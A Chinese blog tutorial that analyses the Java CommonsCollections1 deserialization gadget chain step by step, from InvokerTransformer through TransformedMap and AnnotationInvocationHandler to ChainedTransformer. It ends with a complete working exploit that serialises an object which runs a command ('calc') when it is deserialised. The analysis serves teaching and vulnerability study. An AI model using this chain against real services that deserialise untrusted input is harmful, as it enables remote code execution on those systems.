Java反序列化之CommonsCollections(CC1)分析篇


前言

      本文包括:Java反序列化之CommonsCollections篇(CC1)的一些过程分析。


一、过程分析

   1.入口点—危险方法InvokerTransformer.transform()

     1)入口点是Transformer类,Transformer类是Commons Collections中自定义的一组功能类。Transformer类的功能就是接收一个对象然后调用transform方法,对这个对象做一些操作。
在这里插入图片描述
     2)可以看看这个transformer的实现类有哪些都怎么做的。可以自己逐一看看,CC1链重点类是InvokerTransformer类,所以我们直接看这个类。
在这里插入图片描述
     3)可以发现是input接收一个对象然后通过反射的方法进行函数调用,其中的方法值(iMethodName),参数类型(iParamTypes),还有参数(iArgs),全部都可控,就是一个标准的任意方法调用。这里只需要传入三个参数就可以调用对象中的任意函数了。
在这里插入图片描述
     4)参照并使用InvokerTransformer.transform的写法弹个计算器。在CC1链中InvokerTransformer.transform方法就是最终调用的危险方法。transform()方法主要就是用于对象转换。

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
//        // 1.先弹个计算器
//        Runtime.getRuntime().exec("calc");

//        // 2.写一个普通的反射
//        Runtime r = Runtime.getRuntime();
//        // 获取Runtime的class
//        Class c = Runtime.class;
//        // 获取Runtime的exec方法
//        Method execMethod = c.getMethod("exec",String.class);
//        // 调用exec方法
//        execMethod.invoke(r,"calc");

        // 3.InvokerTransformer的写法
        Runtime r = Runtime.getRuntime();
        // 参数名exec 参数类型是个数组内容为String.class  参数值也是数组内容为calc
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        
    }
}

在这里插入图片描述
在这里插入图片描述

   2.触发危险函数TransformedMap.checkSetValue()

     1)上面我们通过InvokerTransformer.transform方法弹了个计算器,然继续往下分析。我们通过案例中的transform,找到InvokerTransformer.java文件中的transform方法,然后在此方法上右键找到都有哪些使用了这个方法,发现一共有21个。
在这里插入图片描述
     2)从这21个结果中逐一去分析,我们主要找不同名字的调用transform,因为transform调用transform没有意义。最终我们找到了这个TransformedMap类,TransformedMap类的功能就是接收一个Map进来然后对它的key和value进行一些操作。可以看到有三个方法都调用了。
在这里插入图片描述
     3)我们直接看第三个checkSetValue方法,发现是checkSetValue方法中的valueTransformer调用了transform()。
在这里插入图片描述
     4)往上翻看一下valueTransformer的构造函数,发现是构造函数是protected受保护的类,说明是自己调用的,功能就是对传进来的map的key和value做一些操作。我们需要找到公共的类,所以还需在看。
在这里插入图片描述
     5)在往上翻看看是在哪里调用了,翻到73行可以看到一个静态方法decorate(),这个方法里完成了装饰的操作。那么就是只要使用公共的静态函数decorate()调用TransformedMap,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap。
在这里插入图片描述
     6)往下找到可控参数后,在往上找看一下谁调用了checkSetValue。可以发现就一例调用了,在AbstractInputCheckedMapDecorator中的setValue。可以发现TransformedMap的父类就是这个AbstractInputCheckedMapDecorator。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     7)setValue方法在MapEntry类里面,然后再重复之前的动作再找一下是谁调用了setValue,发现有38个结果。
在这里插入图片描述
在这里插入图片描述
     8)不想找也可以理解一下,Entry是HashMap遍历的时候,一个键值对就是一个Entry。写一个测试案例理解一下。查看setValue实际上就是entry.setValue(),它是重写了这个方法。

// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("key","value");
// 遍历
for(Map.Entry entry:map.entrySet()){
    entry.getValue();
}

在这里插入图片描述
     9)现在就是只要我们遍历这个被修饰过的Map调用decorate()就会走到这个MapEntry类中的setValue方法。过程简述如下所示。
在这里插入图片描述
在这里插入图片描述

     10)一个完整案例。现在就是只要调用setValue方法我们就能执行命令。调用流程如下所示

AbstractInputCheckedMapDecorator.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }
    }
}

在这里插入图片描述在这里插入图片描述

   3.AnnotationInvocationHandler类

     1)刚刚是描述如何触发这个漏洞,我们手动向修饰过的map中添加新元素从而触发一系列的回调,但在实际的漏洞利用环境中我们肯定是不能手工执行的,我们需要让它在反序列化后能自动触发,也就是说需要找个某个类,在执行了这个类的readObject后能够触发回调的,在继续找是谁调用了,找到了sun.reflect.annotation.AnnotationInvocationHandler这个类。
在这里插入图片描述
     2)这个readObject中有一个遍历Map的功能,这里的一个值调用了setValue方法(),找到这个类后看看有没有什么可控参数,从这个类的名字AnnotationInvocationHandler可知它是动态代理过程中调用处理器类。
在这里插入图片描述
     3)看一下这个AnnotationInvocationHandler类的参数,构造函数中是接收了两个参数,第一个是type是class对象并且继承了Annotation的泛型,第二个是memberValues是Map对象,这个Map对象就是可控的。这里需要注意这个包没有写public,什么也没有写在java里面就是默认的 default类型,default类型只有在这个包里面才能访问。这里就只能用反射去获取了。
在这里插入图片描述
     4)设计一个流程。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

     5)现在这个流程还有几个问题,第一个需要满足两个 if 判断,第二是setValue这个是需要传的是runtime对象,但是现在他是AnnotationTypeMismatchExceptionProxy这个对象,另外就是上例中的Runtime对象是我们自己手动生成的,这个是不能序列化的因为没有继承序列化的接口,所以只能通过反射来使用。
在这里插入图片描述
在这里插入图片描述
     6)先解决不能序列化的问题,Runtime.getRuntime()不能序列化但是Runtime.class是可以序列化的。我们查看Runtime这个类,可以发现有个一个方法能够返回Runtime。
在这里插入图片描述
     7)先来一个调用Runtime.class的普通反射。

import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Class c = Runtime.class;
        // 获取静态方法getRuntime  它是一个无参方法所以没有参数类型
        Method getRuntimeMethod = c.getMethod("getRuntime",null);
        // 反射调用  因为它是静态方法并且无参数调用所以都为null
        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
        // 反射调用Runtime的exec方法
        Method execMethod = c.getMethod("exec",String.class);
        execMethod.invoke(r,"calc");
    }
}

在这里插入图片描述
     8)还是再来一个InvokerTransformer的版本。第一步先获取到getRuntimeMethod。

// InvokerTransformer的类型为new Class[]和Object[]
// getMethod方法第一个是String,第二个是class数组  ...可变代表数组
// 第一个new Class[]就参照getMethod方法为String.class和Class[].class
// 第二个new Object[] 就是"getRuntime"和null
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]
{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     9)第二步获取getRuntimeMethod之后在调用invoke方法。

// InvokerTransformer的类型为new Class[]和new Object[],
// 第一个new Class[]就参照invoke方法为Object.class和Object[].class
// 第二个new Object[] 就是null和null
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]
{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

在这里插入图片描述
在这里插入图片描述
     10)第三步就是反射调用。最终代码和运行结果如下

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        // InvokerTransformer的版本
        Class c = Runtime.class;
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
                new Object[]{null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}

在这里插入图片描述

   4.ChainedTransformer类

     1)之前都是循环调用InvokerTransformer,所以使用ChainedTransformer类。ChainedTransformer有序列化的接口。现在解决了Runtime反射调用的问题。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Transformer[] transformer = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);
    }
}

在这里插入图片描述
     2)在通过调试看一下第一个两个if判断的问题。目前的写法是进不去第一个if判断的。通过调试发现通过序列化接口进入,然后此时的AnnotationType.getInstance(type)中的type为Override,想要获取Override里面成员变量,但是此时值是空的没有值获取不了。
在这里插入图片描述
在这里插入图片描述
     3)往下看也知道是先通过memberValue这个键值对,用memberValue.getKey()获取key,获取到key后在memberTypes.get(name)中查找这个key。又因为Override中没有值现在条件不满足,要能满足第一个if条件的话我们需要找到一个有成员方法的class,同时数组的key要改成他成员方法的名字。

在这里插入图片描述
     4)这里是用的Target,里面有一个value(),可以发现再次调试就进入了第一个if判断里面。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Transformer[] transformer = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }
//
        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

在这里插入图片描述
在这里插入图片描述
     5)第二个if是判断能否强转,这里强转不了所以能够进入到第二if判断中。

   5.ChainedTransformer类

     1)最后利用ChainedTransformer类完成整个利用链。最终代码和结果如下。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值